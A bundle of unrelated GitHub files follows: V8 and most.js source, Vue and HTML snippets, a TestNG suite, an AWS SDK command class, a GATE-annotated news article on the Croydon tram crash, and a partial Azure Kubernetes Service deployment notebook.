// only smi handlers will remain). See LoadHandler and StoreHandler for
// details about encoding.
DECL_ACCESSORS(smi_handler, Object)
// [validity_cell]: A validity Cell that guards prototype chain modifications.
DECL_ACCESSORS(validity_cell, Object)
// Returns number of optional data fields available in the object.
inline int data_field_count() const;
// [data1-3]: These are optional general-purpose fields whose content and
// presence depends on the handler kind.
DECL_ACCESSORS(data1, MaybeObject)
DECL_ACCESSORS(data2, MaybeObject)
DECL_ACCESSORS(data3, MaybeObject)
DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,
TORQUE_GENERATED_DATA_HANDLER_FIELDS)
static const int kSizeWithData0 = kData1Offset;
static const int kSizeWithData1 = kData2Offset;
static const int kSizeWithData2 = kData3Offset;
static const int kSizeWithData3 = kSize;
DECL_CAST(DataHandler)
DECL_VERIFIER(DataHandler)
class BodyDescriptor;
OBJECT_CONSTRUCTORS(DataHandler, Struct);
};
} // namespace internal
} // namespace v8
#include "src/objects/object-macros-undef.h"
#endif // V8_OBJECTS_DATA_HANDLER_H_
| {
"pile_set_name": "Github"
} |
import { append, findIndex, remove } from '@most/prelude'
import { disposeNone, disposeOnce } from '@most/disposable'
import { tryEnd, tryEvent } from '../source/tryEvent'
import { isCanonicalEmpty } from '../source/empty'
import { Stream, Scheduler, Sink, Disposable, Time } from '@most/types'
export const multicast = <A>(stream: Stream<A>): Stream<A> =>
stream instanceof Multicast || isCanonicalEmpty(stream)
? stream
: new Multicast(stream)
class Multicast<A> implements Stream<A> {
private readonly source: Stream<A>;
constructor(source: Stream<A>) {
this.source = new MulticastSource(source)
}
run(sink: Sink<A>, scheduler: Scheduler): Disposable {
return this.source.run(sink, scheduler)
}
}
export class MulticastSource<A> implements Stream<A>, Disposable {
private readonly source: Stream<A>;
private sinks: Sink<A>[];
private disposable: Disposable;
constructor(source: Stream<A>) {
this.source = source
this.sinks = []
this.disposable = disposeNone()
}
run(sink: Sink<A>, scheduler: Scheduler): Disposable {
const n = this.add(sink)
if (n === 1) {
this.disposable = this.source.run(this, scheduler)
}
return disposeOnce(new MulticastDisposable(this, sink))
}
dispose(): void {
const disposable = this.disposable
this.disposable = disposeNone()
return disposable.dispose()
}
add(sink: Sink<A>): number {
this.sinks = append(sink, this.sinks)
return this.sinks.length
}
remove(sink: Sink<A>): number {
const i = findIndex(sink, this.sinks)
// istanbul ignore next
if (i >= 0) {
this.sinks = remove(i, this.sinks)
}
return this.sinks.length
}
event(time: Time, value: A): void {
const s = this.sinks
if (s.length === 1) {
return s[0].event(time, value)
}
for (let i = 0; i < s.length; ++i) {
tryEvent(time, value, s[i])
}
}
end(time: Time): void {
const s = this.sinks
for (let i = 0; i < s.length; ++i) {
tryEnd(time, s[i])
}
}
error(time: Time, err: Error): void {
const s = this.sinks
for (let i = 0; i < s.length; ++i) {
s[i].error(time, err)
}
}
}
export class MulticastDisposable<A> implements Disposable {
private readonly source: MulticastSource<A>
private readonly sink: Sink<A>
constructor(source: MulticastSource<A>, sink: Sink<A>) {
this.source = source
this.sink = sink
}
dispose(): void {
if (this.source.remove(this.sink) === 0) {
this.source.dispose()
}
}
}
| {
"pile_set_name": "Github"
} |
<template>
<div class="ecology-sea">
海洋
</div>
</template>
<script>
export default {
name: "Sea"
};
</script>
<style scoped>
</style>
| {
"pile_set_name": "Github"
} |
<!--Copyright (c) 2020 IBM Corporation and others. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v1.0 which accompanies this distribution,
and is available at
http://www.eclipse.org/legal/epl-v10.html
Contributors:
IBM Corporation - initial API and implementation
-->
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
<suite name="microprofile-config-2.0-tck" verbose="2"
configfailurepolicy="continue">
<test name="microprofile-config-2.0-tck-all">
<packages>
<package name="org.eclipse.microprofile.config.tck.*">
</package>
</packages>
</test>
</suite>
| {
"pile_set_name": "Github"
} |
import {
CognitoIdentityProviderClientResolvedConfig,
ServiceInputTypes,
ServiceOutputTypes,
} from "../CognitoIdentityProviderClient";
import { CreateUserPoolRequest, CreateUserPoolResponse } from "../models/models_0";
import {
deserializeAws_json1_1CreateUserPoolCommand,
serializeAws_json1_1CreateUserPoolCommand,
} from "../protocols/Aws_json1_1";
import { getSerdePlugin } from "@aws-sdk/middleware-serde";
import { HttpRequest as __HttpRequest, HttpResponse as __HttpResponse } from "@aws-sdk/protocol-http";
import { Command as $Command } from "@aws-sdk/smithy-client";
import {
FinalizeHandlerArguments,
Handler,
HandlerExecutionContext,
MiddlewareStack,
HttpHandlerOptions as __HttpHandlerOptions,
MetadataBearer as __MetadataBearer,
SerdeContext as __SerdeContext,
} from "@aws-sdk/types";
export type CreateUserPoolCommandInput = CreateUserPoolRequest;
export type CreateUserPoolCommandOutput = CreateUserPoolResponse & __MetadataBearer;
export class CreateUserPoolCommand extends $Command<
CreateUserPoolCommandInput,
CreateUserPoolCommandOutput,
CognitoIdentityProviderClientResolvedConfig
> {
// Start section: command_properties
// End section: command_properties
constructor(readonly input: CreateUserPoolCommandInput) {
// Start section: command_constructor
super();
// End section: command_constructor
}
resolveMiddleware(
clientStack: MiddlewareStack<ServiceInputTypes, ServiceOutputTypes>,
configuration: CognitoIdentityProviderClientResolvedConfig,
options?: __HttpHandlerOptions
): Handler<CreateUserPoolCommandInput, CreateUserPoolCommandOutput> {
this.middlewareStack.use(getSerdePlugin(configuration, this.serialize, this.deserialize));
const stack = clientStack.concat(this.middlewareStack);
const { logger } = configuration;
const handlerExecutionContext: HandlerExecutionContext = {
logger,
inputFilterSensitiveLog: CreateUserPoolRequest.filterSensitiveLog,
outputFilterSensitiveLog: CreateUserPoolResponse.filterSensitiveLog,
};
const { requestHandler } = configuration;
return stack.resolve(
(request: FinalizeHandlerArguments<any>) =>
requestHandler.handle(request.request as __HttpRequest, options || {}),
handlerExecutionContext
);
}
private serialize(input: CreateUserPoolCommandInput, context: __SerdeContext): Promise<__HttpRequest> {
return serializeAws_json1_1CreateUserPoolCommand(input, context);
}
private deserialize(output: __HttpResponse, context: __SerdeContext): Promise<CreateUserPoolCommandOutput> {
return deserializeAws_json1_1CreateUserPoolCommand(output, context);
}
// Start section: command_body_extra
// End section: command_body_extra
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<html>
<body>
<pre>xxxxxxxx xxxxxxxx xxxxxxxx</pre>
</body>
</html>
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='utf-8'?>
<GateDocument version="3">
<!-- The document's features-->
<GateDocumentFeatures>
<Feature>
<Name className="java.lang.String">parsingError</Name>
<Value className="java.lang.Boolean">true</Value>
</Feature>
<Feature>
<Name className="java.lang.String">MimeType</Name>
<Value className="java.lang.String">text/xml</Value>
</Feature>
<Feature>
<Name className="java.lang.String">source</Name>
<Value className="java.lang.String">http://www.dailymail.co.uk/news/article-3929748/Croydon-tram-crash-carriages-carried-away-lorry-police-probe-claims-derailed-just-days-seven-people-died-tragedy.html</Value>
</Feature>
<Feature>
<Name className="java.lang.String">pubdate</Name>
<Value className="java.lang.String">2016-11-12 11:53:30</Value>
</Feature>
</GateDocumentFeatures>
<!-- The document content area with serialized nodes -->
<TextWithNodes><Node id="0"/>Police name final three victims of Croydon tram crash that killed seven<Node id="71"/>
<Node id="72"/>Police investigating the Croydon tram crash have named the final three victims as Donald Collett, Philip Logan and Robert Huxley.<Node id="201"/>
<Node id="202"/>Police investigating the Croydon tram crash have named the final three victims as Donald Collett, Philip Logan and Robert Huxley.
A total of six men and one woman died in the crash when the tram overturned as it entered a bend at high speed.
The family of Mr Collett, 62, from Croydon, said he could 'light up a room with his smile'.
A statement read: 'Don was a well loved, funny and generous man, who could light up a room with his smile. He is tragically leaving behind a loving family, partner, adored friends and work colleagues.
'Please rest in peace and know you are truly loved and greatly missed.'
Mr Logan's family said he was a 'true family man' and a 'generous friend'.
A statement from the family read: ' Philip Logan known to all who knew him as Loag, a loving husband to Marilyn, brother to Susan, father to Lee, Tracy, Lisa and Adele, grandfather and great grandfather.
'He was a true family man and generous friend to all with a magnificently dry sense of humor.
'Phil was a man with more love compassion and zest for life than words can express. He will be immensely missed by all that knew him.'
The tram's driver was arrested on suspicion of manslaughter and quizzed by investigators who revealed the vehicle was travelling 'significantly' above the permitted speed.
He was later released on bail.
Scroll down for video
Donald Collett, 62, of Croydon (left); and Philip Logan, 52, from New Addington, South London, who died in the crash
Dane Chinnery (pictured left), Mark Smith (centre left), Phil Seary (centre right) and Dorota Rynkiewicz (far right) all died in the Croydon tram crash
Rail workers at the site work to fix the track where the tram derailed on Wednesday which saw seven people killed
Repair work continues on the section of track where a tram crashed, killing seven people, in Croydon, south London
Floral tributes left for victim Mark Smith near the Sandilands tram stop by the site of the Croydon tram crash
British Transport Police said Donald Collett, 62, of Croydon; Philip Logan, 52, and Robert Huxley, 63, both of New Addington, died in the accident when the tram overturned
A resident observes the flowers left near the tram stop where seven people were killed on Wednesday
People lay flowers at the scene where the tram crash - six men and one woman died in the crash
A Crystal Palace shirt for fans Dane Chinnery and Phil Seary are laid in memory of the pair who died in the crash
Floral tributes and Crystal Palace flags and shirts are laid near the scene where a tram crash on Wednesday
There was a march for the victims, with many wearing Crystal Palace colours (pictured in the tribute)
A group of up to 100 people on Saturday marched down the road carrying banners, flags and flowers to the spot where hundreds of bouquets had already been laid for the victims of the derailing in south London.
People spilled out onto the road as they hugged each other and looked at the tributes that had been laid near to the site where the tram crashed during the morning commute on Wednesday.
The tram has been removed and repair work on the track has started.
An operation to remove the 100 feet-long articulated tram began late last night, with the sections craned onto a flatbed lorry earlier on Saturday.
Among the dead were a mother with two young children, a new father, a teenager and a grandfather on his way to work after swapping shifts.
Many in Saturday's march were wearing Crystal Palace football colours while some of the bouquets laid were red and blue to reflect the team's colours.
Two of the victims - 19-year-old Dane Chinnery and Philip Seary, 57 - were fanatical fans of the club.
Friends and family clapped for one minute as they thought about those who had lost their lives in the derailment, ending by singing, 'They're one of our own'.
It comes as police revealed they have launched an investigation into claims another tram almost derailed the week before.
The tram which crashed in Croydon killing seven people was removed from the scene this morning
The tram is taken away from the scene on Saturday as a police probe claimed another almost derailed the week before
Investigators said the tram was going significantly faster than the 12mph speed limit as it took a sharp corner
The only woman victim, Dorota Rynkiewicz, 35, who had two young daughters, was described by friends as a devoted mother and a 'friendly, caring and giving person'.
Her husband Andrzej, a professional golfer, was too upset to talk at the family home in New Addington, Croydon.
The couple had moved to the UK from Poland 10 years ago for a 'better life'.
Colleagues who started a crowdfunding page to raise £5,000 for her family said Ms Rynkiewicz was 'loved by many people'.
Mother-of-two Dorota Rynkiewicz, pictured with golfer husband Andrzej, was described by friends as a devoted mother and a 'friendly, caring and giving person'
Tributes have also been paid online to young father Mark Smith, pictured with fiancee Indre Novikovaite and son Lucas, described as someone who 'could always make anyone laugh'
Mr Smith, left with Miss Novikovaite and right with son Lucas, was described as a keen fisherman by friends on social media
Another victim was named by police as Mark Smith, 35, from Croydon, who had an 18-month old son with his fiancee Indra Novikovaite and the couple planned to marry next year.
The couple had been going out for four years. Her brother said: 'My sister is completely devastated by this.'
His cousin, Tom Smith, said: 'Still cannot believe this is true, the last couple of days have just felt like a nightmare.
'The thought that we are all never gonna see you or hear from you again makes me feel sick. We are all in bits.'
Mr Smith was on his way to work as a glazier when the speeding tram careered off the tracks and flipped over.
Phil Seary (left) pictured at the wedding of his youngest daughter Karina who married Darren Mimms
Mr Seary's son-in-law revealed he had only been on the tram on Wednesday morning after agreeing to cover a colleague's shift at his job as an electrical engineer at the Royal Opera House, because he was 'such a kind man'
Tributes poured in for Dane Chinnery, left and right with his mother Beverley, a 19-year-old Crystal Palace fan who was killed in the tram crash in Croydon
The family of Royal Opera House worker Phil Seary, 57, described him as a 'much loved wonderful son, faithful husband, a loving and doting father and a gentle giant grandfather'.
They added: 'He will be immensely missed by all that had the great fortune to know him.'
Mr Seary's son-in-law Darren Mimms said he was on his way to work to cover a shift.
He said: 'As Phil was such a kind man he would do anything to help anybody. It's really hurting his wife Ann. He shouldn't have been on that tram. He found out the day before he had to go into work that day.
'If he hadn't have been at work he would have been doing bits and bobs around the house and looking after his granddaughter. Ann's not blaming anybody.
'Ann is really hoping to wake up from this horrible dream. She was planning to retire next year. She has worked as a teaching assistant at Rowdown Primary School for 27 years.
'They were hoping to go travelling. Being American she wanted to see more of Europe and that was their plan. We are in complete devastated shock.'
Crystal Palace supporter Mr Seary, also known as 'Tank', had three daughters Martha, 43, Erica, 31, Karina, 29, four grandchildren, four great grandchildren and another on the way.
Dane Chinnery, a 19-year-old Crystal Palace fan described as a 'friendly, genuine lad', was the first victim to be identified following the crash.
Rail workers begin recovery work on the tram rail lines junction at the site of the Croydon tram crash
Floral tributes left near the Sandilands tram stop as police probe claims another almost derailed near the location last week
The damaged tram carriage was wrapped in tarpaulin last night and removed from the scene on Friday morning
Investigators said they expect an interim report on the disaster to be released next week
Recovery workers at the site of the crash. The wrecked carriages were covered in blue tarpaulin before they were taken away
Firefighters lowered their heads as a mark of respect towards those killed and injured in Wednesday's crash
Members of the Armed Forces and emergency services joined the Royal British Legion for the remembrance ceremony
Forensic teams and accident investigators have been sweeping the scene for much of the past 48 hours as they try to establish the exact cause of the crash
The driver of the tram, a 42-year-old man from Beckenham, was released on bail after being arrested on Wednesday on suspicion of manslaughter over the crash.
It occurred at around 6.10am on Tuesday on a sharp bend near the Sandilands stop as the vehicle travelled from New Addington to Wimbledon.
Investigators said the tram was travelling at a 'significantly higher speed' than the 12mph speed limit and are probing whether the driver had fallen asleep or was on his phone.
Detectives are also examining a report that a tram 'lifted onto one side' at 40mph in the same area on October 31.
BTP said the claim 'will now form one of our lines of inquiry'.
And commuter Andy Smith said last summer he wrote to Transport for London to complain after the tram he was travelling on approached the same corner too fast.
He said: 'I felt that the train was going to derail because the speed was so fast I didn't think we were going to make the left-hand turn. I knew this was coming.'
Survivors of the disaster told how they heard 'crying and screaming' after the carriages hit the ground, pictured
The incident occurred near Sandilands tram stop in Croydon, south London, pictured, on a steep bend
The Rail Accident Investigation Branch (RAIB) has launched a witness appeal, with anyone who was on the tram or has information relevant to the accident being asked to complete an incident form on the organisation's website.
An interim report into what happened will be published by the RAIB next week, with a final report, including any safety recommendations, coming at the conclusion of the investigation.
On Friday an extra minute's silence was held to remember the victims during the town's Armistice Day ceremony.
Croydon MP Gavin Barwell spoke to relatives near the scene where floral tributes and football scarves have been placed.
Authorities are still working on formally identifying the victims, Mr Barwell said.
He said: 'It's quite right that the authorities absolutely want to make sure when they give a formal identification that they've got that 100 per cent right.
Injured passengers were taken to St George's Hospital in south west London and Croydon University Hospital.
Some of the 20 survivors at St George's had limbs amputated. One passenger suffered a collapsed lung.
Personal injury expects said claims arising from the tram crash could reach millions of pounds.
TRAM PASSENGER CLAIMS CARRIAGE 'LIFTED ONTO ONE SIDE' ON SAME STRETCH OF TRACK LAST WEEK Andy Nias posted this message on Facebook earlier following the fatal Croydon crash. He claimed he was on a tram which 'lifted onto one side' last week on the same stretch of track A passenger on a tram travelling on the same stretch of track last week, told how he was left shaken after he claimed it 'lifted onto one side'. Andy Nias wrote on Facebook that he and 29 fellow travellers feared the worst when their tram 'took the hard corner to Sandilands at 40mph'. He said on October 31: 'Oh mate...30 of us on the tram this morning and we all thought our time was up...tram driver took the hard corner to Sandilands at 40mph!! 'I swear the tram lifted onto one side. Everyone still shaking...it's mad.' Locals have raised concerns about the speeds trams can travel at the corner where the carriages derailed. Pat Rooke, 72, a nearby resident, said 'They (some trams) do come around that corner very fast sometimes, and it is quite a sharp bend.' Sue Patel, who lives near the station, added: 'I heard a noise at around 6 o'clock and I thought maybe it was a car or something. But then I saw there were helicopters.' 'There's quite a big bend. You come through the tunnel and there's quite a sharp bend.' In February 2012 a tram, carrying 100 passengers, also derailed on the line but no one was hurt. The accident happened about half a mile from today's fatal crash.<Node id="12615"/>
</TextWithNodes>
<!-- The default annotation set -->
<AnnotationSet>
<Annotation Id="2" Type="TextSection" StartNode="0" EndNode="71">
<Feature>
<Name className="java.lang.String">section</Name>
<Value className="java.lang.String">title</Value>
</Feature>
</Annotation>
<Annotation Id="3" Type="TextSection" StartNode="72" EndNode="201">
<Feature>
<Name className="java.lang.String">section</Name>
<Value className="java.lang.String">description</Value>
</Feature>
</Annotation>
<Annotation Id="4" Type="TextSection" StartNode="202" EndNode="12615">
<Feature>
<Name className="java.lang.String">section</Name>
<Value className="java.lang.String">text</Value>
</Feature>
</Annotation>
</AnnotationSet>
</GateDocument>
| {
"pile_set_name": "Github"
} |
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<i>Copyright (c) Microsoft Corporation. All rights reserved.</i>\n",
"\n",
"<i>Licensed under the MIT License.</i>\n",
"\n",
"\n",
"# Deployment of a model to Azure Kubernetes Service (AKS)\n",
"\n",
"## Table of contents\n",
"1. [Introduction](#intro)\n",
"1. [Model deployment on AKS](#deploy)\n",
" 1. [Workspace retrieval](#workspace)\n",
" 1. [Docker image retrieval](#docker_image)\n",
" 1. [AKS compute target creation](#compute)\n",
" 1. [Monitoring activation](#monitor)\n",
" 1. [Service deployment](#svc_deploy)\n",
"1. [Clean up](#clean)\n",
"1. [Next steps](#next)\n",
"\n",
"\n",
"## 1. Introduction <a id=\"intro\"/>\n",
"\n",
"In many real life scenarios, trained machine learning models need to be deployed to production. As we saw in the [prior](21_deployment_on_azure_container_instances.ipynb) deployment notebook, this can be done by deploying on Azure Container Instances. In this tutorial, we will get familiar with another way of implementing a model into a production environment, this time using [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/concepts-clusters-workloads) (AKS).\n",
"\n",
"AKS manages hosted Kubernetes environments. It makes it easy to deploy and manage containerized applications without container orchestration expertise. It also supports deployments with CPU clusters and deployments with GPU clusters.\n",
"\n",
"At the end of this tutorial, we will have learned how to:\n",
"\n",
"- Deploy a model as a web service using AKS\n",
"- Monitor our new service."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
""
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Pre-requisites <a id=\"pre-reqs\"/>\n",
"\n",
"This notebook relies on resources we created in [21_deployment_on_azure_container_instances.ipynb](21_deployment_on_azure_container_instances.ipynb):\n",
"- Our Azure Machine Learning workspace\n",
"- The Docker image that contains the model and scoring script needed for the web service to work.\n",
"\n",
"If we are missing any of these, we should go back and run the steps from the sections \"Pre-requisites\" to \"3.D Environment setup\" to generate them.\n",
"\n",
"### Library import <a id=\"libraries\"/>\n",
"\n",
"Now that our prior resources are available, let's first import a few libraries we will need for the deployment on AKS."
]
},
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"# For automatic reloading of modified libraries\n",
"%reload_ext autoreload\n",
"%autoreload 2\n",
"\n",
"import sys\n",
"sys.path.extend([\"..\", \"../..\"]) # to access the utils_cv library\n",
"\n",
"# Azure\n",
"from azureml.core import Workspace\n",
"from azureml.core.compute import AksCompute, ComputeTarget\n",
"from azureml.core.webservice import AksWebservice, Webservice"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## 2. Model deployment on AKS <a id=\"deploy\"/>\n",
"\n",
"### 2.A Workspace retrieval <a id=\"workspace\">\n",
"\n",
"Let's now load the workspace we used in the [prior notebook](21_deployment_on_azure_container_instances.ipynb).\n",
"\n",
"<i><b>Note:</b> The Docker image we will use below is attached to that workspace. It is then important to use the same workspace here. If, for any reason, we needed to use another workspace instead, we would need to reproduce, here, the steps followed to create a Docker image containing our image classifier model in the prior notebook.</i>"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"To create or access an Azure ML Workspace, you will need the following information. If you are coming from previous notebook you can retreive existing workspace, or create a new one if you are just starting with this notebook.\n",
"\n",
"- subscription ID: the ID of the Azure subscription we are using\n",
"- resource group: the name of the resource group in which our workspace resides\n",
"- workspace region: the geographical area in which our workspace resides (e.g. \"eastus2\" -- other examples are ---available here -- note the lack of spaces)\n",
"- workspace name: the name of the workspace we want to create or retrieve.\n"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {
"tags": [
"parameters"
]
},
"outputs": [],
"source": [
"subscription_id = \"YOUR_SUBSCRIPTION_ID\"\n",
"resource_group = \"YOUR_RESOURCE_GROUP_NAME\" \n",
"workspace_name = \"YOUR_WORKSPACE_NAME\" \n",
"workspace_region = \"YOUR_WORKSPACE_REGION\" #Possible values eastus, eastus2 and so on.\n",
"\n"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### 3.A Workspace retrieval <a id=\"workspace\"></a>\n",
"\n",
"In [prior notebook](20_azure_workspace_setup.ipynb) notebook, we created a workspace. This is a critical object from which we will build all the pieces we need to deploy our model as a web service. Let's start by retrieving it."
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [
{
"name": "stderr",
"output_type": "stream",
"text": [
"WARNING - Warning: Falling back to use azure cli login credentials.\n",
"If you run your code in unattended mode, i.e., where you can't give a user input, then we recommend to use ServicePrincipalAuthentication or MsiAuthentication.\n",
"Please refer to aka.ms/aml-notebook-auth for different authentication mechanisms in azureml-sdk.\n"
]
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Workspace name: amlnotebookws\n",
"Workspace region: eastus\n",
"Resource group: amlnotebookrg\n"
]
}
],
"source": [
"# A util method that creates a workspace or retrieves one if it exists, also takes care of Azure Authentication\n",
"from utils_cv.common.azureml import get_or_create_workspace\n",
"\n",
"ws = get_or_create_workspace(\n",
" subscription_id,\n",
" resource_group,\n",
" workspace_name,\n",
" workspace_region)\n",
"\n",
"\n",
"# Print the workspace attributes\n",
"print('Workspace name: ' + ws.name, \n",
" 'Workspace region: ' + ws.location, \n",
" 'Subscription id: ' + ws.subscription_id, \n",
" 'Resource group: ' + ws.resource_group, sep = '\\n')"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### 2.B Docker image retrieval <a id=\"docker_image\">\n",
"\n",
"We can reuse the Docker image we created in section 3. of the [previous tutorial](21_deployment_on_azure_container_instances.ipynb). Let's make sure that it is still available."
]
},
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Docker images:\n",
" --> Name: image-classif-resnet18-f48\n",
" --> ID: image-classif-resnet18-f48:2\n",
" --> Tags: {'training set': 'ImageNet', 'architecture': 'CNN ResNet18', 'type': 'Pretrained'}\n",
" --> Creation time: 2019-07-18 17:51:26.927240+00:00\n",
"\n"
]
}
],
"source": [
"print(\"Docker images:\")\n",
"for docker_im in ws.images: \n",
" print(f\" --> Name: {ws.images[docker_im].name}\\n \\\n",
" --> ID: {ws.images[docker_im].id}\\n \\\n",
" --> Tags: {ws.images[docker_im].tags}\\n \\\n",
" --> Creation time: {ws.images[docker_im].created_time}\\n\"\n",
" )"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"As we did not delete it in the prior notebook, our Docker image is still present in our workspace. Let's retrieve it."
]
},
{
"cell_type": "code",
"execution_count": 5,
"metadata": {},
"outputs": [],
"source": [
"docker_image = ws.images[\"image-classif-resnet18-f48\"]"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We can also check that the model it contains is the one we registered and used during our deployment on ACI. In our case, the Docker image contains only 1 model, so taking the 0th element of the `docker_image.models` list returns our model.\n",
"\n",
"<i><b>Note:</b> We will not use the `registered_model` object anywhere here. We are running the next 2 cells just for verification purposes.</i>"
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Existing model:\n",
" --> Name: im_classif_resnet18\n",
" --> Version: 8\n",
" --> ID: im_classif_resnet18:8 \n",
" --> Creation time: 2019-07-18 17:51:17.521804+00:00\n",
" --> URL: aml://asset/5c63dec5ea424557838d109d3294b611\n"
]
}
],
"source": [
"registered_model = docker_image.models[0]\n",
"\n",
"print(f\"Existing model:\\n --> Name: {registered_model.name}\\n \\\n",
"--> Version: {registered_model.version}\\n --> ID: {registered_model.id} \\n \\\n",
"--> Creation time: {registered_model.created_time}\\n \\\n",
"--> URL: {registered_model.url}\"\n",
" )"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### 2.C AKS compute target creation<a id=\"compute\"/>\n",
"\n",
"In the case of deployment on AKS, in addition to the Docker image, we need to define computational resources. This is typically a cluster of CPUs or a cluster of GPUs. If we already have a Kubernetes-managed cluster in our workspace, we can use it, otherwise, we can create a new one.\n",
"\n",
"<i><b>Note:</b> The name we give to our compute target must be between 2 and 16 characters long.</i>\n",
"\n",
"Let's first check what types of compute resources we have, if any"
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"List of compute resources associated with our workspace:\n"
]
}
],
"source": [
"print(\"List of compute resources associated with our workspace:\")\n",
"for cp in ws.compute_targets:\n",
" print(f\" --> {cp}: {ws.compute_targets[cp]}\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"In the case where we have no compute resource available, we can create a new one. For this, we can choose between a CPU-based or a GPU-based cluster of virtual machines. The latter is typically better suited for web services with high traffic (i.e. > 100 requests per second) and high GPU utilization. There is a [wide variety](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-general) of machine types that can be used. In the present example, however, we will not need the fastest machines that exist nor the most memory optimized ones. We will use typical default machines:\n",
"- [Standard D3 V2](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-general#dv2-series):\n",
" - 4 vCPUs\n",
" - 14 GB of memory\n",
"- [Standard NC6](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-gpu):\n",
" - 1 GPU\n",
" - 12 GB of GPU memory\n",
" - These machines also have 6 vCPUs and 56 GB of memory.\n",
"\n",
"<i><b>Notes:</b></i>\n",
"- These are Azure-specific denominations\n",
"- Information on optimized machines can be found [here](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-general#other-sizes)\n",
"- When configuring the provisioning of an AKS cluster, we need to choose a type of machine, as examplified above. This choice must be such that the number of virtual machines (also called `agent nodes`), we require, multiplied by the number of vCPUs on each machine must be greater than or equal to 12 vCPUs. This is indeed the [minimum needed](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-deploy-and-where#create-a-new-aks-cluster) for such cluster. By default, a pool of 3 virtual machines gets provisioned on a new AKS cluster to allow for redundancy. So, if the type of virtual machine we choose has a number of vCPUs (`vm_size`) smaller than 4, we need to increase the number of machines (`agent_count`) such that `agent_count x vm_size` ≥ `12` virtual CPUs. `agent_count` and `vm_size` are both parameters we can pass to the `provisioning_configuration()` method below.\n",
"- [This document](https://docs.microsoft.com/en-us/azure/templates/Microsoft.ContainerService/2019-02-01/managedClusters?toc=%2Fen-us%2Fazure%2Fazure-resource-manager%2Ftoc.json&bc=%2Fen-us%2Fazure%2Fbread%2Ftoc.json#managedclusteragentpoolprofile-object) provides the full list of virtual machine types that can be deployed in an AKS cluster\n",
"- Additional considerations on deployments using GPUs are available [here](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-gpu#deployment-considerations)\n",
"- If the Azure subscription we are using is shared with other users, we may encounter [quota restrictions](https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits) when trying to create a new cluster. To ensure that we have enough machines left, we can go to the Portal, click on our workspace name, and navigate to the `Usage + quotas` section. If we need more machines than are currently available, we can request a [quota increase](https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits#request-quota-increases).\n",
"\n",
"Here, we will use a cluster of CPUs. The creation of such resource typically takes several minutes to complete."
]
},
{
"cell_type": "code",
"execution_count": 8,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Creating..................................................................................................................................................................\n",
"SucceededProvisioning operation finished, operation \"Succeeded\"\n",
"We created the imgclass-aks-cpu AKS compute target\n"
]
}
],
"source": [
"# Declare the name of the cluster\n",
"virtual_machine_type = 'cpu'\n",
"aks_name = f'imgclass-aks-{virtual_machine_type}'\n",
"\n",
"if aks_name not in ws.compute_targets:\n",
" # Define the type of virtual machines to use\n",
" if virtual_machine_type == 'gpu':\n",
" vm_size_name =\"Standard_NC6\"\n",
" else:\n",
" vm_size_name = \"Standard_D3_v2\"\n",
"\n",
" # Configure the cluster using the default configuration (i.e. with 3 virtual machines)\n",
" prov_config = AksCompute.provisioning_configuration(vm_size = vm_size_name, agent_count=3)\n",
"\n",
" # Create the cluster\n",
" aks_target = ComputeTarget.create(workspace = ws, \n",
" name = aks_name, \n",
" provisioning_configuration = prov_config)\n",
" aks_target.wait_for_completion(show_output = True)\n",
" print(f\"We created the {aks_target.name} AKS compute target\")\n",
"else:\n",
" # Retrieve the already existing cluster\n",
" aks_target = ws.compute_targets[aks_name]\n",
" print(f\"We retrieved the {aks_target.name} AKS compute target\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"If we need a more customized AKS cluster, we can provide more parameters to the `provisoning_configuration()` method, the full list of which is available [here](https://docs.microsoft.com/en-us/python/api/azureml-core/azureml.core.compute.akscompute?view=azure-ml-py#provisioning-configuration-agent-count-none--vm-size-none--ssl-cname-none--ssl-cert-pem-file-none--ssl-key-pem-file-none--location-none--vnet-resourcegroup-name-none--vnet-name-none--subnet-name-none--service-cidr-none--dns-service-ip-none--docker-bridge-cidr-none-).\n",
"\n",
"When the cluster deploys successfully, we typically see the following:\n",
"\n",
"```\n",
"Creating ...\n",
"SucceededProvisioning operation finished, operation \"Succeeded\"\n",
"```\n",
"\n",
"In the case when our cluster already exists, we get the following message:\n",
"\n",
"```\n",
"We retrieved the <aks_cluster_name> AKS compute target\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
